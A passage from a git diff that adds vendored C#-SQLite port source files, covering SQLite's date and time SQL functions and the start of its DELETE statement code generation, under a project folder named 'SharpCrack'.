difference (in milliseconds) between localtime and UTC +** (a.k.a. GMT) for the time value p where p is in UTC. If no error occurs, +** return this value and set *pRc to SQLITE_OK. +** +** Or, if an error does occur, set *pRc to SQLITE_ERROR. The returned value +** is undefined in this case. +*/ + static sqlite3_int64 localtimeOffset( + DateTime p, /* Date at which to calculate offset */ + sqlite3_context pCtx, /* Write error here if one occurs */ + out int pRc /* OUT: Error code. SQLITE_OK or ERROR */ + ) + { + DateTime x; + DateTime y = new DateTime(); + time_t t; + tm sLocal = new tm(); + + /* Initialize the contents of sLocal to avoid a compiler warning. */ + //memset(&sLocal, 0, sizeof(sLocal)); + + x = p; + computeYMD_HMS( x ); + if ( x.Y < 1971 || x.Y >= 2038 ) + { + x.Y = 2000; + x.M = 1; + x.D = 1; + x.h = 0; + x.m = 0; + x.s = 0.0; + } + else + { + int s = (int)( x.s + 0.5 ); + x.s = s; + } + x.tz = 0; + x.validJD = 0; + computeJD( x ); + t = (long)( x.iJD / 1000 - 210866760000L );// (time_t)(x.iJD/1000 - 21086676*(i64)10000); + if ( osLocaltime( t, sLocal ) != 0 ) + { + sqlite3_result_error( pCtx, "local time unavailable", -1 ); + pRc = SQLITE_ERROR; + return 0; + } + y.Y = sLocal.tm_year;// +1900; + y.M = sLocal.tm_mon;// +1; + y.D = sLocal.tm_mday; + y.h = sLocal.tm_hour; + y.m = sLocal.tm_min; + y.s = sLocal.tm_sec; + y.validYMD = 1; + y.validHMS = 1; + y.validJD = 0; + y.validTZ = 0; + computeJD( y ); + pRc = SQLITE_OK; + return (int)( y.iJD - x.iJD ); + } +#endif //* SQLITE_OMIT_LOCALTIME */ + + /* +** Process a modifier to a date-time stamp. The modifiers are +** as follows: +** +** NNN days +** NNN hours +** NNN minutes +** NNN.NNNN seconds +** NNN months +** NNN years +** start of month +** start of year +** start of week +** start of day +** weekday N +** unixepoch +** localtime +** utc +** +** Return 0 on success and 1 if there is any kind of error. If the error +** is in a system call (i.e. localtime()), then an error message is written +** to context pCtx. If the error is an unrecognized modifier, no error is +** written to pCtx. +*/ + static int parseModifier( sqlite3_context pCtx, string zMod, DateTime p ) + { + int rc = 1; + int n; + double r = 0; + StringBuilder z = new StringBuilder( zMod.ToLower() ); + zdtBuf.Length = 0; + //z = zdtBuf; + //for(n=0; niJD = p->iJD/86400 + 21086676*(i64)10000000; + clearYMD_HMS_TZ( p ); + rc = 0; + } +#if !SQLITE_OMIT_LOCALTIME + else if ( z.ToString() == "utc" ) + { + long c1; + computeJD( p ); + c1 = localtimeOffset( p, pCtx, out rc ); + if ( rc == SQLITE_OK ) + { + p.iJD -= c1; + clearYMD_HMS_TZ( p ); + p.iJD += c1 - localtimeOffset( p, pCtx, out rc ); + } + } +#endif + break; + } + case 'w': + { + /* + ** weekday N + ** + ** Move the date to the same time on the next occurrence of + ** weekday N where 0==Sunday, 1==Monday, and so forth. If the + ** date is already on the appropriate weekday, this is a no-op. + */ + if ( z.ToString().StartsWith( "weekday " ) + && sqlite3AtoF( z.ToString().Substring( 8 ), ref r, sqlite3Strlen30( z.ToString().Substring( 8 ) ), SQLITE_UTF8 ) + && ( n = (int)r ) == r && n >= 0 && r < 7 ) + { + sqlite3_int64 Z; + computeYMD_HMS( p ); + p.validTZ = 0; + p.validJD = 0; + computeJD( p ); + Z = ( ( p.iJD + 129600000 ) / 86400000 ) % 7; + if ( Z > n ) + Z -= 7; + p.iJD += ( n - Z ) * 86400000; + clearYMD_HMS_TZ( p ); + rc = 0; + } + break; + } + case 's': + { + /* + ** start of TTTTT + ** + ** Move the date backwards to the beginning of the current day, + ** or month or year. + */ + if ( z.Length <= 9 ) + z.Length = 0; + else + z.Remove( 0, 9 );//z += 9; + computeYMD( p ); + p.validHMS = 1; + p.h = p.m = 0; + p.s = 0.0; + p.validTZ = 0; + p.validJD = 0; + if ( z.ToString() == "month" ) + { + p.D = 1; + rc = 0; + } + else if ( z.ToString() == "year" ) + { + computeYMD( p ); + p.M = 1; + p.D = 1; + rc = 0; + } + else if ( z.ToString() == "day" ) + { + rc = 0; + } + break; + } + case '+': + case '-': + case '0': + case '1': + case '2': + case '3': + case '4': + case '5': + case '6': + case '7': + case '8': + case '9': + { + double rRounder; + for ( n = 1; n < z.Length && z[n] != ':' && !sqlite3Isspace( z[n] ); n++ ) + { + } + if ( !sqlite3AtoF( z.ToString(), ref r, n, SQLITE_UTF8 ) ) + { + rc = 1; + break; + } + Debug.Assert( n >= 1 ); + if ( z[n] == ':' ) + { + /* A modifier of the form (+|-)HH:MM:SS.FFF adds (or subtracts) the + ** specified number of hours, minutes, seconds, and fractional seconds + ** to the time. The ".FFF" may be omitted. The ":SS.FFF" may be + ** omitted. + */ + string z2 = z.ToString(); + DateTime tx; + sqlite3_int64 day; + int z2Index = 0; + if ( !sqlite3Isdigit( z2[z2Index] ) ) + z2Index++;// z2++; + tx = new DateTime();// memset( &tx, 0, sizeof(tx)); + if ( parseHhMmSs( z2.Substring( z2Index ), tx ) != 0 ) + break; + computeJD( tx ); + tx.iJD -= 43200000; + day = tx.iJD / 86400000; + tx.iJD -= day * 86400000; + if ( z[0] == '-' ) + tx.iJD = -tx.iJD; + computeJD( p ); + clearYMD_HMS_TZ( p ); + p.iJD += tx.iJD; + rc = 0; + break; + } + //z += n; + while ( sqlite3Isspace( z[n] ) ) + n++;// z++; + z = z.Remove( 0, n ); + n = sqlite3Strlen30( z ); + if ( n > 10 || n < 3 ) + break; + if ( z[n - 1] == 's' ) + { + z.Length = --n; + }// z[n - 1] = '\0'; n--; } + computeJD( p ); + rc = 0; + rRounder = r < 0 ? -0.5 : +0.5; + if ( n == 3 && z.ToString() == "day" ) + { + p.iJD += (long)( r * 86400000.0 + rRounder ); + } + else if ( n == 4 && z.ToString() == "hour" ) + { + p.iJD += (long)( r * ( 86400000.0 / 24.0 ) + rRounder ); + } + else if ( n == 6 && z.ToString() == "minute" ) + { + p.iJD += (long)( r * ( 86400000.0 / ( 24.0 * 60.0 ) ) + rRounder ); + } + else if ( n == 6 && z.ToString() == "second" ) + { + p.iJD += (long)( r * ( 86400000.0 / ( 24.0 * 60.0 * 60.0 ) ) + rRounder ); + } + else if ( n == 5 && z.ToString() == "month" ) + { + int x, y; + computeYMD_HMS( p ); + p.M += (int)r; + x = p.M > 0 ? ( p.M - 1 ) / 12 : ( p.M - 12 ) / 12; + p.Y += x; + p.M -= x * 12; + p.validJD = 0; + computeJD( p ); + y = (int)r; + if ( y != r ) + { + p.iJD += (long)( ( r - y ) * 30.0 * 86400000.0 + rRounder ); + } + } + else if ( n == 4 && z.ToString() == "year" ) + { + int y = (int)r; + computeYMD_HMS( p ); + p.Y += y; + p.validJD = 0; + computeJD( p ); + if ( y != r ) + { + p.iJD += (sqlite3_int64)( ( r - y ) * 365.0 * 86400000.0 + rRounder ); + } + } + else + { + rc = 1; + } + clearYMD_HMS_TZ( p ); + break; + } + default: + { + break; + } + } + return rc; + } + + /* + ** Process time function arguments. argv[0] is a date-time stamp. + ** argv[1] and following are modifiers. Parse them all and write + ** the resulting time into the DateTime structure p. Return 0 + ** on success and 1 if there are any errors. + ** + ** If there are zero parameters (if even argv[0] is undefined) + ** then assume a default value of "now" for argv[0]. + */ + static int isDate( + sqlite3_context context, + int argc, + sqlite3_value[] argv, + ref DateTime p + ) + { + int i; + string z; + int eType; + p = new DateTime();//memset(p, 0, sizeof(*p)); + if ( argc == 0 ) + { + setDateTimeToCurrent( context, p ); + } + else if ( ( eType = sqlite3_value_type( argv[0] ) ) == SQLITE_FLOAT + || eType == SQLITE_INTEGER ) + { + p.iJD = (long)( sqlite3_value_double( argv[0] ) * 86400000.0 + 0.5 ); + p.validJD = 1; + } + else + { + z = sqlite3_value_text( argv[0] ); + if ( String.IsNullOrEmpty( z ) || parseDateOrTime( context, z, ref p ) != 0 ) + { + return 1; + } + } + for ( i = 1; i < argc; i++ ) + { + z = sqlite3_value_text( argv[i] ); + if ( String.IsNullOrEmpty( z ) || parseModifier( context, z, p ) != 0 ) + return 1; + } + return 0; + } + + + /* + ** The following routines implement the various date and time functions + ** of SQLite. + */ + + /* + ** julianday( TIMESTRING, MOD, MOD, ...) + ** + ** Return the julian day number of the date specified in the arguments + */ + static void juliandayFunc( + sqlite3_context context, + int argc, + sqlite3_value[] argv + ) + { + DateTime x = null; + if ( isDate( context, argc, argv, ref x ) == 0 ) + { + computeJD( x ); + sqlite3_result_double( context, x.iJD / 86400000.0 ); + } + } + + /* + ** datetime( TIMESTRING, MOD, MOD, ...) + ** + ** Return YYYY-MM-DD HH:MM:SS + */ + static void datetimeFunc( + sqlite3_context context, + int argc, + sqlite3_value[] argv + ) + { + DateTime x = null; + if ( isDate( context, argc, argv, ref x ) == 0 ) + { + zdtBuf.Length = 0; + computeYMD_HMS( x ); + sqlite3_snprintf( 100, zdtBuf, "%04d-%02d-%02d %02d:%02d:%02d", + x.Y, x.M, x.D, x.h, x.m, (int)( x.s ) ); + sqlite3_result_text( context, zdtBuf, -1, SQLITE_TRANSIENT ); + } + } + + /* + ** time( TIMESTRING, MOD, MOD, ...) + ** + ** Return HH:MM:SS + */ + static void timeFunc( + sqlite3_context context, + int argc, + sqlite3_value[] argv + ) + { + DateTime x = new DateTime(); + if ( isDate( context, argc, argv, ref x ) == 0 ) + { + zdtBuf.Length = 0; + computeHMS( x ); + sqlite3_snprintf( 100, zdtBuf, "%02d:%02d:%02d", x.h, x.m, (int)x.s ); + sqlite3_result_text( context, zdtBuf, -1, SQLITE_TRANSIENT ); + } + } + + /* + ** date( TIMESTRING, MOD, MOD, ...) + ** + ** Return YYYY-MM-DD + */ + static void dateFunc( + sqlite3_context context, + int argc, + sqlite3_value[] argv + ) + { + DateTime x = null; + if ( isDate( context, argc, argv, ref x ) == 0 ) + { + StringBuilder zdtBuf = new StringBuilder( 100 ); + computeYMD( x ); + sqlite3_snprintf( 100, zdtBuf, "%04d-%02d-%02d", x.Y, x.M, x.D ); + sqlite3_result_text( context, zdtBuf, -1, SQLITE_TRANSIENT ); + } + } + + /* + ** strftime( FORMAT, TIMESTRING, MOD, MOD, ...) + ** + ** Return a string described by FORMAT. Conversions as follows: + ** + ** %d day of month + ** %f ** fractional seconds SS.SSS + ** %H hour 00-24 + ** %j day of year 000-366 + ** %J ** Julian day number + ** %m month 01-12 + ** %M minute 00-59 + ** %s seconds since 1970-01-01 + ** %S seconds 00-59 + ** %w day of week 0-6 sunday==0 + ** %W week of year 00-53 + ** %Y year 0000-9999 + ** %% % + */ + static void strftimeFunc( + sqlite3_context context, + int argc, + sqlite3_value[] argv + ) + { + { + DateTime x = new DateTime(); + u64 n; + int i, j; + StringBuilder z; + sqlite3 db; + string zFmt = sqlite3_value_text( argv[0] ); + StringBuilder zdtBuf = new StringBuilder( 100 ); + sqlite3_value[] argv1 = new sqlite3_value[argc - 1]; + for ( i = 0; i < argc - 1; i++ ) + { + argv[i + 1].CopyTo( ref argv1[i] ); + } + if ( String.IsNullOrEmpty( zFmt ) || isDate( context, argc - 1, argv1, ref x ) != 0 ) + return; + db = sqlite3_context_db_handle( context ); + for ( i = 0, n = 1; i < zFmt.Length; i++, n++ ) + { + if ( zFmt[i] == '%' ) + { + switch ( (char)zFmt[i + 1] ) + { + case 'd': + case 'H': + case 'm': + case 'M': + case 'S': + case 'W': + n++; + break; + /* fall thru */ + case 'w': + case '%': + break; + case 'f': + n += 8; + break; + case 'j': + n += 3; + break; + case 'Y': + n += 8; + break; + case 's': + case 'J': + n += 50; + break; + default: + return; /* ERROR. return a NULL */ + } + i++; + } + } + testcase( n == (u64)( zdtBuf.Length - 1 ) ); + testcase( n == (u64)zdtBuf.Length ); + testcase( n == (u64)db.aLimit[SQLITE_LIMIT_LENGTH] + 1 ); + testcase( n == (u64)db.aLimit[SQLITE_LIMIT_LENGTH] ); + if ( n < (u64)zdtBuf.Capacity ) + { + z = zdtBuf; + } + else if ( n > (u64)db.aLimit[SQLITE_LIMIT_LENGTH] ) + { + sqlite3_result_error_toobig( context ); + return; + } + else + { + z = new StringBuilder( (int)n );// sqlite3DbMallocRaw( db, n ); + //if ( z == 0 ) + //{ + // sqlite3_result_error_nomem( context ); + // return; + //} + } + computeJD( x ); + computeYMD_HMS( x ); + for ( i = j = 0; i < zFmt.Length; i++ ) + { + if ( zFmt[i] != '%' ) + { + z.Append( (char)zFmt[i] ); + } + else + { + i++; + zdtTemp.Length = 0; + switch ( (char)zFmt[i] ) + { + case 'd': + sqlite3_snprintf( 3, zdtTemp, "%02d", x.D ); + z.Append( zdtTemp ); + j += 2; + break; + case 'f': + { + double s = x.s; + if ( s > 59.999 ) + s = 59.999; + sqlite3_snprintf( 7, zdtTemp, "%06.3f", s ); + z.Append( zdtTemp ); + j = sqlite3Strlen30( z ); + break; + } + case 'H': + sqlite3_snprintf( 3, zdtTemp, "%02d", x.h ); + z.Append( zdtTemp ); + j += 2; + break; + case 'W': /* Fall thru */ + case 'j': + { + int nDay; /* Number of days since 1st day of year */ + DateTime y = new DateTime(); + x.CopyTo( y ); + y.validJD = 0; + y.M = 1; + y.D = 1; + computeJD( y ); + nDay = (int)( ( x.iJD - y.iJD + 43200000 ) / 86400000 ); + if ( zFmt[i] == 'W' ) + { + int wd; /* 0=Monday, 1=Tuesday, ... 6=Sunday */ + wd = (int)( ( ( x.iJD + 43200000 ) / 86400000 ) % 7 ); + sqlite3_snprintf( 3, zdtTemp, "%02d", ( nDay + 7 - wd ) / 7 ); + z.Append( zdtTemp ); + j += 2; + } + else + { + sqlite3_snprintf( 4, zdtTemp, "%03d", nDay + 1 ); + z.Append( zdtTemp ); + j += 3; + } + break; + } + case 'J': + { + sqlite3_snprintf( 20, zdtTemp, "%.16g", x.iJD / 86400000.0 ); + z.Append( zdtTemp ); + j = sqlite3Strlen30( z ); + break; + } + case 'm': + sqlite3_snprintf( 3, zdtTemp, "%02d", x.M ); + z.Append( zdtTemp ); + j += 2; + break; + case 'M': + sqlite3_snprintf( 3, zdtTemp, "%02d", x.m ); + z.Append( zdtTemp ); + j += 2; + break; + case 's': + { + sqlite3_snprintf( 30, zdtTemp, "%lld", + (i64)( x.iJD / 1000 - 21086676 * (i64)10000 ) ); + z.Append( zdtTemp ); + j = sqlite3Strlen30( z ); + break; + } + case 'S': + sqlite3_snprintf( 3, zdtTemp, "%02d", (int)x.s ); + z.Append( zdtTemp ); + j += 2; + break; + case 'w': + { + z.Append( ( ( ( x.iJD + 129600000 ) / 86400000 ) % 7 ) ); + break; + } + case 'Y': + { + sqlite3_snprintf( 5, zdtTemp, "%04d", x.Y ); + z.Append( zdtTemp ); + j = sqlite3Strlen30( z ); + break; + } + default: + z.Append( '%' ); + break; + } + } + } + //z[j] = 0; + sqlite3_result_text( context, z, -1, + z == zdtBuf ? SQLITE_TRANSIENT : SQLITE_DYNAMIC ); + } + } + + /* + ** current_time() + ** + ** This function returns the same value as time('now'). + */ + static void ctimeFunc( + sqlite3_context context, + int NotUsed, + sqlite3_value[] NotUsed2 + ) + { + UNUSED_PARAMETER2( NotUsed, NotUsed2 ); + timeFunc( context, 0, null ); + } + + /* + ** current_date() + ** + ** This function returns the same value as date('now'). + */ + static void cdateFunc( + sqlite3_context context, + int NotUsed, + sqlite3_value[] NotUsed2 + ) + { + UNUSED_PARAMETER2( NotUsed, NotUsed2 ); + dateFunc( context, 0, null ); + } + + /* + ** current_timestamp() + ** + ** This function returns the same value as datetime('now'). + */ + static void ctimestampFunc( + sqlite3_context context, + int NotUsed, + sqlite3_value[] NotUsed2 + ) + { + UNUSED_PARAMETER2( NotUsed, NotUsed2 ); + datetimeFunc( context, 0, null ); + } +#endif // * !SQLITE_OMIT_DATETIME_FUNCS) */ + +#if SQLITE_OMIT_DATETIME_FUNCS +/* +** If the library is compiled to omit the full-scale date and time +** handling (to get a smaller binary), the following minimal version +** of the functions current_time(), current_date() and current_timestamp() +** are included instead. This is to support column declarations that +** include "DEFAULT CURRENT_TIME" etc. +** +** This function uses the C-library functions time(), gmtime() +** and strftime(). The format string to pass to strftime() is supplied +** as the user-data for the function. +*/ +//static void currentTimeFunc( +// sqlite3_context *context, +// int argc, +// sqlite3_value[] argv +//){ +time_t t; +string zFormat = (char )sqlite3_user_data(context); +sqlite3 db; +sqlite3_int64 rT; +char zdtBuf[20]; +UNUSED_PARAMETER(argc); +UNUSED_PARAMETER(argv); +db = sqlite3_context_db_handle(context); + sqlite3OsCurrentTimeInt64(db->pVfs, &iT); + t = iT/1000 - 10000*(sqlite3_int64)21086676; +#if HAVE_GMTIME_R +// { +// struct tm sNow; +// gmtime_r(&t, sNow); +// strftime(zdtBuf, 20, zFormat, sNow); +// } +#else +// { +// struct tm pTm; +// sqlite3_mutex_enter(sqlite3MutexAlloc(SQLITE_MUTEX_STATIC_MASTER)); +// pTm = gmtime(&t); +// strftime(zdtBuf, 20, zFormat, pTm); +// sqlite3_mutex_leave(sqlite3MutexAlloc(SQLITE_MUTEX_STATIC_MASTER)); +// } +#endif + +// sqlite3_result_text(context, zdtBuf, -1, SQLITE_TRANSIENT); +//} +#endif + + + /* +** This function registered all of the above C functions as SQL +** functions. This should be the only routine in this file with +** external linkage. +*/ + static void sqlite3RegisterDateTimeFunctions() + { + FuncDef[] aDateTimeFuncs = new FuncDef[] { +#if !SQLITE_OMIT_DATETIME_FUNCS +FUNCTION("julianday", -1, 0, 0, (dxFunc)juliandayFunc ), +FUNCTION("date", -1, 0, 0, (dxFunc)dateFunc ), +FUNCTION("time", -1, 0, 0, (dxFunc)timeFunc ), +FUNCTION("datetime", -1, 0, 0, (dxFunc)datetimeFunc ), +FUNCTION("strftime", -1, 0, 0, (dxFunc)strftimeFunc ), +FUNCTION("current_time", 0, 0, 0, (dxFunc)ctimeFunc ), +FUNCTION("current_timestamp", 0, 0, 0, (dxFunc)ctimestampFunc), +FUNCTION("current_date", 0, 0, 0, (dxFunc)cdateFunc ), +#else +STR_FUNCTION("current_time", 0, "%H:%M:%S", 0, currentTimeFunc), +STR_FUNCTION("current_date", 0, "%Y-%m-%d", 0, currentTimeFunc), +STR_FUNCTION("current_timestamp", 0, "%Y-%m-%d %H:%M:%S", 0, currentTimeFunc), +#endif +}; + int i; +#if SQLITE_OMIT_WSD +FuncDefHash pHash = GLOBAL( FuncDefHash, sqlite3GlobalFunctions ); +FuncDef[] aFunc = (FuncDef)GLOBAL( FuncDef, aDateTimeFuncs ); +#else + FuncDefHash pHash = sqlite3GlobalFunctions; + FuncDef[] aFunc = aDateTimeFuncs; +#endif + for ( i = 0; i < ArraySize( aDateTimeFuncs ); i++ ) + { + sqlite3FuncDefInsert( pHash, aFunc[i] ); + } + } + } +} diff --git a/SharpCrack/SharpCrack/SQLite/csharp-sqlite-src/delete_c.cs b/SharpCrack/SharpCrack/SQLite/csharp-sqlite-src/delete_c.cs new file mode 100644 index 0000000..66278b6 --- /dev/null +++ b/SharpCrack/SharpCrack/SQLite/csharp-sqlite-src/delete_c.cs @@ -0,0 +1,748 @@ +using System; +using System.Diagnostics; +using System.Text; + +using u8 = System.Byte; +using u32 = System.UInt32; + +namespace Community.CsharpSqlite +{ + public partial class Sqlite3 + { + /* + ** 2001 September 15 + ** + ** The author disclaims copyright to this source code. In place of + ** a legal notice, here is a blessing: + ** + ** May you do good and not evil. + ** May you find forgiveness for yourself and forgive others. + ** May you share freely, never taking more than you give. + ** + ************************************************************************* + ** This file contains C code routines that are called by the parser + ** in order to generate code for DELETE FROM statements. + ************************************************************************* + ** Included in SQLite3 port to C#-SQLite; 2008 Noah B Hart + ** C#-SQLite is an independent reimplementation of the SQLite software library + ** + ** SQLITE_SOURCE_ID: 2011-06-23 19:49:22 4374b7e83ea0a3fbc3691f9c0c936272862f32f2 + ** + ************************************************************************* + */ + //#include "sqliteInt.h" + + /* + ** While a SrcList can in general represent multiple tables and subqueries + ** (as in the FROM clause of a SELECT statement) in this case it contains + ** the name of a single table, as one might find in an INSERT, DELETE, + ** or UPDATE statement. Look up that table in the symbol table and + ** return a pointer. Set an error message and return NULL if the table + ** name is not found or if any other error occurs. + ** + ** The following fields are initialized appropriate in pSrc: + ** + ** pSrc->a[0].pTab Pointer to the Table object + ** pSrc->a[0].pIndex Pointer to the INDEXED BY index, if there is one + ** + */ + static Table sqlite3SrcListLookup( Parse pParse, SrcList pSrc ) + { + SrcList_item pItem = pSrc.a[0]; + Table pTab; + Debug.Assert( pItem != null && pSrc.nSrc == 1 ); + pTab = sqlite3LocateTable( pParse, 0, pItem.zName, pItem.zDatabase ); + sqlite3DeleteTable( pParse.db, ref pItem.pTab ); + pItem.pTab = pTab; + if ( pTab != null ) + { + pTab.nRef++; + } + if ( sqlite3IndexedByLookup( pParse, pItem ) != 0 ) + { + pTab = null; + } + return pTab; + } + + /* + ** Check to make sure the given table is writable. If it is not + ** writable, generate an error message and return 1. If it is + ** writable return 0; + */ + static bool sqlite3IsReadOnly( Parse pParse, Table pTab, int viewOk ) + { + /* A table is not writable under the following circumstances: + ** + ** 1) It is a virtual table and no implementation of the xUpdate method + ** has been provided, or + ** 2) It is a system table (i.e. sqlite_master), this call is not + ** part of a nested parse and writable_schema pragma has not + ** been specified. + ** + ** In either case leave an error message in pParse and return non-zero. + */ + if ( + ( IsVirtual( pTab ) + && sqlite3GetVTable( pParse.db, pTab ).pMod.pModule.xUpdate == null ) + || ( ( pTab.tabFlags & TF_Readonly ) != 0 + && ( pParse.db.flags & SQLITE_WriteSchema ) == 0 + && pParse.nested == 0 ) + ) + { + sqlite3ErrorMsg( pParse, "table %s may not be modified", pTab.zName ); + return true; + } + +#if !SQLITE_OMIT_VIEW + if ( viewOk == 0 && pTab.pSelect != null ) + { + sqlite3ErrorMsg( pParse, "cannot modify %s because it is a view", pTab.zName ); + return true; + } +#endif + return false; + } + + +#if !SQLITE_OMIT_VIEW && !SQLITE_OMIT_TRIGGER + /* +** Evaluate a view and store its result in an ephemeral table. The +** pWhere argument is an optional WHERE clause that restricts the +** set of rows in the view that are to be added to the ephemeral table. +*/ + static void sqlite3MaterializeView( + Parse pParse, /* Parsing context */ + Table pView, /* View definition */ + Expr pWhere, /* Optional WHERE clause to be added */ + int iCur /* VdbeCursor number for ephemerial table */ + ) + { + SelectDest dest = new SelectDest(); + Select pDup; + sqlite3 db = pParse.db; + + pDup = sqlite3SelectDup( db, pView.pSelect, 0 ); + if ( pWhere != null ) + { + SrcList pFrom; + + pWhere = sqlite3ExprDup( db, pWhere, 0 ); + pFrom = sqlite3SrcListAppend( db, null, null, null ); + //if ( pFrom != null ) + //{ + Debug.Assert( pFrom.nSrc == 1 ); + pFrom.a[0].zAlias = pView.zName;// sqlite3DbStrDup( db, pView.zName ); + pFrom.a[0].pSelect = pDup; + Debug.Assert( pFrom.a[0].pOn == null ); + Debug.Assert( pFrom.a[0].pUsing == null ); + //} + //else + //{ + // sqlite3SelectDelete( db, ref pDup ); + //} + pDup = sqlite3SelectNew( pParse, null, pFrom, pWhere, null, null, null, 0, null, null ); + } + sqlite3SelectDestInit( dest, SRT_EphemTab, iCur ); + sqlite3Select( pParse, pDup, ref dest ); + sqlite3SelectDelete( db, ref pDup ); + } +#endif //* !SQLITE_OMIT_VIEW) && !SQLITE_OMIT_TRIGGER) */ + +#if (SQLITE_ENABLE_UPDATE_DELETE_LIMIT) && !(SQLITE_OMIT_SUBQUERY) +/* +** Generate an expression tree to implement the WHERE, ORDER BY, +** and LIMIT/OFFSET portion of DELETE and UPDATE statements. +** +** DELETE FROM table_wxyz WHERE a<5 ORDER BY a LIMIT 1; +** \__________________________/ +** pLimitWhere (pInClause) +*/ +Expr sqlite3LimitWhere( +Parse pParse, /* The parser context */ +SrcList pSrc, /* the FROM clause -- which tables to scan */ +Expr pWhere, /* The WHERE clause. May be null */ +ExprList pOrderBy, /* The ORDER BY clause. May be null */ +Expr pLimit, /* The LIMIT clause. May be null */ +Expr pOffset, /* The OFFSET clause. May be null */ +char zStmtType /* Either DELETE or UPDATE. For error messages. */ +){ +Expr pWhereRowid = null; /* WHERE rowid .. */ +Expr pInClause = null; /* WHERE rowid IN ( select ) */ +Expr pSelectRowid = null; /* SELECT rowid ... */ +ExprList pEList = null; /* Expression list contaning only pSelectRowid */ +SrcList pSelectSrc = null; /* SELECT rowid FROM x ... (dup of pSrc) */ +Select pSelect = null; /* Complete SELECT tree */ + +/* Check that there isn't an ORDER BY without a LIMIT clause. +*/ +if( pOrderBy!=null && (pLimit == null) ) { +sqlite3ErrorMsg(pParse, "ORDER BY without LIMIT on %s", zStmtType); +pParse.parseError = 1; +goto limit_where_cleanup_2; +} + +/* We only need to generate a select expression if there +** is a limit/offset term to enforce. +*/ +if ( pLimit == null ) +{ +/* if pLimit is null, pOffset will always be null as well. */ +Debug.Assert( pOffset == null ); +return pWhere; +} + +/* Generate a select expression tree to enforce the limit/offset +** term for the DELETE or UPDATE statement. For example: +** DELETE FROM table_a WHERE col1=1 ORDER BY col2 LIMIT 1 OFFSET 1 +** becomes: +** DELETE FROM table_a WHERE rowid IN ( +** SELECT rowid FROM table_a WHERE col1=1 ORDER BY col2 LIMIT 1 OFFSET 1 +** ); +*/ + +pSelectRowid = sqlite3PExpr( pParse, TK_ROW, null, null, null ); +if( pSelectRowid == null ) goto limit_where_cleanup_2; +pEList = sqlite3ExprListAppend( pParse, null, pSelectRowid); +if( pEList == null ) goto limit_where_cleanup_2; + +/* duplicate the FROM clause as it is needed by both the DELETE/UPDATE tree +** and the SELECT subtree. */ +pSelectSrc = sqlite3SrcListDup(pParse.db, pSrc,0); +if( pSelectSrc == null ) { +sqlite3ExprListDelete(pParse.db, pEList); +goto limit_where_cleanup_2; +} + +/* generate the SELECT expression tree. */ +pSelect = sqlite3SelectNew( pParse, pEList, pSelectSrc, pWhere, null, null, +pOrderBy, 0, pLimit, pOffset ); +if( pSelect == null ) return null; + +/* now generate the new WHERE rowid IN clause for the DELETE/UDPATE */ +pWhereRowid = sqlite3PExpr( pParse, TK_ROW, null, null, null ); +if( pWhereRowid == null ) goto limit_where_cleanup_1; +pInClause = sqlite3PExpr( pParse, TK_IN, pWhereRowid, null, null ); +if( pInClause == null ) goto limit_where_cleanup_1; + +pInClause->x.pSelect = pSelect; +pInClause->flags |= EP_xIsSelect; +sqlite3ExprSetHeight(pParse, pInClause); +return pInClause; + +/* something went wrong. clean up anything allocated. */ +limit_where_cleanup_1: +sqlite3SelectDelete(pParse.db, pSelect); +return null; + +limit_where_cleanup_2: +sqlite3ExprDelete(pParse.db, ref pWhere); +sqlite3ExprListDelete(pParse.db, pOrderBy); +sqlite3ExprDelete(pParse.db, ref pLimit); +sqlite3ExprDelete(pParse.db, ref pOffset); +return null; +} +#endif //* defined(SQLITE_ENABLE_UPDATE_DELETE_LIMIT) && !defined(SQLITE_OMIT_SUBQUERY) */ + + /* +** Generate code for a DELETE FROM statement. +** +** DELETE FROM table_wxyz WHERE a<5 AND b NOT NULL; +** \________/ \________________/ +** pTabList pWhere +*/ + static void sqlite3DeleteFrom( + Parse pParse, /* The parser context */ + SrcList pTabList, /* The table from which we should delete things */ + Expr pWhere /* The WHERE clause. May be null */ + ) + { + Vdbe v; /* The virtual database engine */ + Table pTab; /* The table from which records will be deleted */ + string zDb; /* Name of database holding pTab */ + int end, addr = 0; /* A couple addresses of generated code */ + int i; /* Loop counter */ + WhereInfo pWInfo; /* Information about the WHERE clause */ + Index pIdx; /* For looping over indices of the table */ + int iCur; /* VDBE VdbeCursor number for pTab */ + sqlite3 db; /* Main database structure */ + AuthContext sContext; /* Authorization context */ + NameContext sNC; /* Name context to resolve expressions in */ + int iDb; /* Database number */ + int memCnt = -1; /* Memory cell used for change counting */ + int rcauth; /* Value returned by authorization callback */ + +#if !SQLITE_OMIT_TRIGGER + bool isView; /* True if attempting to delete from a view */ + Trigger pTrigger; /* List of table triggers, if required */ +#endif + sContext = new AuthContext();//memset(&sContext, 0, sizeof(sContext)); + + db = pParse.db; + if ( pParse.nErr != 0 /*|| db.mallocFailed != 0 */ ) + { + goto delete_from_cleanup; + } + Debug.Assert( pTabList.nSrc == 1 ); + + /* Locate the table which we want to delete. This table has to be + ** put in an SrcList structure because some of the subroutines we + ** will be calling are designed to work with multiple tables and expect + ** an SrcList* parameter instead of just a Table* parameter. + */ + pTab = sqlite3SrcListLookup( pParse, pTabList ); + if ( pTab == null ) + goto delete_from_cleanup; + + /* Figure out if we have any triggers and if the table being + ** deleted from is a view + */ +#if !SQLITE_OMIT_TRIGGER + int iDummy; + pTrigger = sqlite3TriggersExist( pParse, pTab, TK_DELETE, null, out iDummy ); + isView = pTab.pSelect != null; +#else + const Trigger pTrigger = null; + bool isView = false; +#endif +#if SQLITE_OMIT_VIEW +//# undef isView +isView = false; +#endif + + /* If pTab is really a view, make sure it has been initialized. +*/ + if ( sqlite3ViewGetColumnNames( pParse, pTab ) != 0 ) + { + goto delete_from_cleanup; + } + + if ( sqlite3IsReadOnly( pParse, pTab, ( pTrigger != null ? 1 : 0 ) ) ) + { + goto delete_from_cleanup; + } + iDb = sqlite3SchemaToIndex( db, pTab.pSchema ); + Debug.Assert( iDb < db.nDb ); + zDb = db.aDb[iDb].zName; +#if NO_SQLITE_OMIT_AUTHORIZATION //#if !SQLITE_OMIT_AUTHORIZATION +rcauth = sqlite3AuthCheck(pParse, SQLITE_DELETE, pTab->zName, 0, zDb); +#else + rcauth = SQLITE_OK; +#endif + Debug.Assert( rcauth == SQLITE_OK || rcauth == SQLITE_DENY || rcauth == SQLITE_IGNORE ); + if ( rcauth == SQLITE_DENY ) + { + goto delete_from_cleanup; + } + Debug.Assert( !isView || pTrigger != null ); + + /* Assign cursor number to the table and all its indices. + */ + Debug.Assert( pTabList.nSrc == 1 ); + iCur = pTabList.a[0].iCursor = pParse.nTab++; + for ( pIdx = 